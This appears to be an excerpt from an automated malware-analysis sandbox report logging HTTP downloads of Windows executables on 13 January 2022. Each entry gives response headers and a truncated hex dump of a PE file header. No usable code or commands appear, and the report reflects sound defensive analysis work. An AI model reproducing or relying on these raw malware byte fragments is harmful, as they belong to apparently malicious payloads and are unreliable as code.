70 0d 00 00 ce 00 00 00 02 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:14 GMTContent-Type: application/x-msdos-programContent-Length: 373760Connection: closeLast-Modified: Wed, 12 Jan 2022 08:30:43 GMTETag: "5b400-5d55e62ba577e"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6c cb d2 55 28 aa bc 06 28 aa bc 06 28 aa bc 06 36 f8 29 06 31 aa bc 06 36 f8 3f 06 57 aa bc 06 0f 6c c7 06 2b aa bc 06 28 aa bd 06 f5 aa bc 06 36 f8 38 06 11 aa bc 06 36 f8 28 06 29 aa bc 06 36 f8 2d 06 29 aa bc 06 52 69 63 68 28 aa bc 06 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 61 a2 52 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 c2 04 00 00 76 12 00 00 00 00 00 40 a1 02 00 00 10 00 00 00 e0 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 80 17 00 00 04 00 00 e2 26 06 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 be 04 00 28 00 00 00 00 b0 16 00 10 7b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 17 00 14 1d 00 00 80 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 8f 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 38 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e8 c1 04 00 00 10 00 00 00 c2 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 bc 9f 11 00 00 e0 04 00 00 18 00 00 00 c6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 67 69 7a 69 00 00 00 05 00 00 00 00 80 16 00 00 02 00 00 00 de 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 75 72 00 00 00 00 ea 00 00 00 00 90 16 00 00 02 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 77 6f 62 00 00 00 00 93 0d 00 00 00 a0 16 00 00 0e 00 00 00 e2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 7b 00 00 00 b0 16 00 00 7c 00 00 00 f0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 34 46 00 00 00 30 17 00 00 48 00 00 00 6c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Thu, 13 Jan 2022 19:51:17 GMTContent-Type: application/octet-streamContent-Length: 357376Last-Modified: Thu, 13 Jan 2022 18:42:45 GMTConnection: keep-aliveETag: "61e072a5-57400"Expires: Thu, 20 Jan 2022 19:51:17 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 fd 75 73 5a 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 02 32 00 12 01 00 00 5e 04 00 00 00 00 00 00 10 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 b0 05 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 71 01 00 c8 00 00 00 00 90 01 00 4c 16 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 74 01 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 63 6f 64 65 00 00 00 7e 38 00 00 00 10 00 00 00 3a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 00 00 00 42 d6 00 00 00 50 00 00 00 d8 00 00 00 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a8 33 00 00 00 30 01 00 00 34 00 00 00 16 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 8c 17 00 00 00 70 01 00 00 12 00 00 00 4a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 4c 16 04 00 00 90 01 00 00 18 04 00 00 5c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Thu, 13 Jan 2022 19:51:22 GMTContent-Type: application/octet-streamContent-Length: 357376Last-Modified: Thu, 13 Jan 2022 19:33:07 GMTConnection: keep-aliveETag: "61e07e73-57400"Expires: Thu, 20 Jan 2022 19:51:22 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 fd 75 73 5a 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 02 32 00 12 01 00 00 5e 04 00 00 00 00 00 00 10 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 b0 05 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 71 01 00 c8 00 00 00 00 90 01 00 44 16 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 74 01 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 63 6f 64 65 00 00 00 7e 38 00 00 00 10 00 00 00 3a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 00 00 00 42 d6 00 00 00 50 00 00 00 d8 00 00 00 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a8 33 00 00 00 30 01 00 00 34 00 00 00 16 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 8c 17 00 00 00 70 01 00 00 12 00 00 00 4a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 44 16 04 00 00 90 01 00 00 18 04 00 00 5c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Thu, 13 Jan 2022 19:51:23 GMTContent-Type: application/octet-streamContent-Length: 452096Last-Modified: Thu, 13 Jan 2022 18:37:45 GMTConnection: keep-aliveETag: "61e07179-6e600"Expires: Thu, 20 Jan 2022 19:51:23 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 23 15 67 78 67 74 09 2b 67 74 09 2b 67 74 09 2b b4 06 0a 2a 6d 74 09 2b b4 06 0c 2a eb 74 09 2b b4 06 0d 2a 73 74 09 2b 35 01 0c 2a 41 74 09 2b 35 01 0d 2a 76 74 09 2b 35 01 0a 2a 75 74 09 2b b4 06 08 2a 64 74 09 2b 67 74 08 2b 30 74 09 2b d2 01 0c 2a 66 74 09 2b d2 01 f6 2b 66 74 09 2b 67 74 9e 2b 66 74 09 2b d2 01 0b 2a 66 74 09 2b 52 69 63 68 67 74 09 2b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 3a 54 e0 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0e 1d 00 d0 00 00 00 ec 0f 00 00 00 00 00 00 10 00 00 00 10 00 00 00 e0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 15 00 00 04 00 00 19 a2 03 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c ec 10 00 a4 00 00 00 00 20 0f 00 1d a2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 2d 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 10 00 00 00 76 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 60 00 00 00 e0 00 00 00 2a 00 00 00 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 e0 0d 00 00 40 01 00 00 0a 00 00 00 a4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 b0 01 00 00 20 0f 00 00 a4 01 00 00 ae 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 10 00 00 00 d0 10 00 00 00 00 00 00 52 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 64 61 74 61 00 00 00 00 a0 04 00 00 e0 10 00 00 94 04 00 00 52 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 61 64 61 74 61 00 00 00 10 00 00 00 80 15 00 00 00 00 00 00 e6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Thu, 13 Jan 2022 19:51:24 GMTContent-Type: application/octet-streamContent-Length: 2416280Last-Modified: Thu, 13 Jan 2022 18:38:17 GMTConnection: keep-aliveETag: "61e07199-24de98"Expires: Thu, 20 Jan 2022 19:51:24 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 ca 5e 3d 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 64 3f 00 00 6e 04 00 00 00 00 00 00 30 44 00 00 20 00 00 00 a0 3f 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 45 00 00 04 00 00 86 bb 25 00 02 00 60 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 b0 3f 00 d4 01 00 00 00 c0 3f 00 a0 6c 04 00 00 00 00 00 00 00 00 00 d0 c5 24 00 c8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 65 64 61 74 61 00 00 00 a0 3f 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 62 73 73 00 00 00 00 00 10 00 00 00 b0 3f 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a0 6c 04 00 00 c0 3f 00 09 6b 03 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 63 74 6f 72 73 00 00 00 80 01 00 00 30 44 00 0b 7d 01 00 00 72 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Thu, 13 Jan 2022 19:51:25 GMTContent-Type: application/octet-streamContent-Length: 226816Last-Modified: Thu, 13 Jan 2022 19:31:57 GMTConnection: keep-aliveETag: "61e07e2d-37600"Expires: Thu, 20 Jan 2022 19:51:25 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 a7 79 e0 61 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 70 03 00 00 04 00 00 00 00 00 00 12 8e 03 00 00 20 00 00 00 a0 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 03 00 00 02 00 00 fc a7 03 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c0 8d 03 00 4f 00 00 00 00 a0 03 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 0c 00 00 00 88 8c 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 20 6e 03 00 00 20 00 00 00 70 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 10 00 00 00 00 a0 03 00 00 02 00 00 00 72 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 03 00 00 02 00 00 00 74 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 8d 03 00 00 00 00 00 48 00 00 00 02 00 05 00 00 98 00 00 d0 68 00 00 03 00 02 00 01 00 00 06 d0 00 01 00 b8 8b 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6a 00 28 15 00 00 0a 00 16 28 16 00 00 0a 00 73 0a 00 00 06 28 17 00 00 0a 00 2a 26 02 28 18 00 00 0a 00 00 2a 00 00 00 13 30 02 00 39 00 00 00 01 00 00 11 00 7e 01 00 00 04 14 fe 01 0a 06 2c 22 00 72 01 00 00 70 d0 03 00 00 02 28 19 00 00 0a 6f 1a 00 00 0a 73 1b 00 00 0a 0b 07 80 01 00 00 04 00 7e 01 00 00 04 0c 2b 00 08 2a 00 00 00 13 30 01 00 0b 00 00 00 02 00 00 11 00 7e 02 00 00 04 0a 2b 00 06 2a 22 00 02 80 02 00 00 04 2a 13 30 03 00 21 00 00 00 03 00 00 11 00 28 03 00 00 06 72 63 00 00 70 7e 02 00 00 04 6f 1c 00 00 0a 0a 06 74 01 00 00 1b 0b 2b 00 07 2a 00 00 00 13 30 01 00 0b 00 00 00 04 00 00 11 00 7e 03 00 00 04 0a 2b 00 06 2a 22 02 28 1d 00 00 0a 00 2a 56 73 08 00 00 06 28 1e 00 00 0a 74 04 00 00 02 80 03 00 00 04 2a 5e 02 14 7d 04 00 00 04 02 28 1f 00 00 0a 00 00 02 28 14 00 00 06 00 2a 00 00 13 30 01 00 0f 00 00 00 05 00 00 11 00 73 38 00 00 06 0a 06 6f 20 00 00 0a
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Thu, 13 Jan 2022 19:51:26 GMTContent-Type: application/octet-streamContent-Length: 535232Last-Modified: Thu, 13 Jan 2022 18:38:25 GMTConnection: keep-aliveETag: "61e071a1-82ac0"Expires: Thu, 20 Jan 2022 19:51:26 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 73 0f cc 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 3a 00 00 00 0a 04 00 00 00 00 00 00 a0 04 00 00 20 00 00 00 60 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 06 00 00 04 00 00 be bf 08 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e4 01 00 00 00 90 00 00 ac 08 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 6c 73 00 00 00 00 00 70 00 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 43 52 54 00 00 00 00 00 10 00 00 00 80 00 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 ac 08 04 00 00 90 00 00 ac 08 04 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 00 80 01 00 00 a0 04 00 11 7d 01 00 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
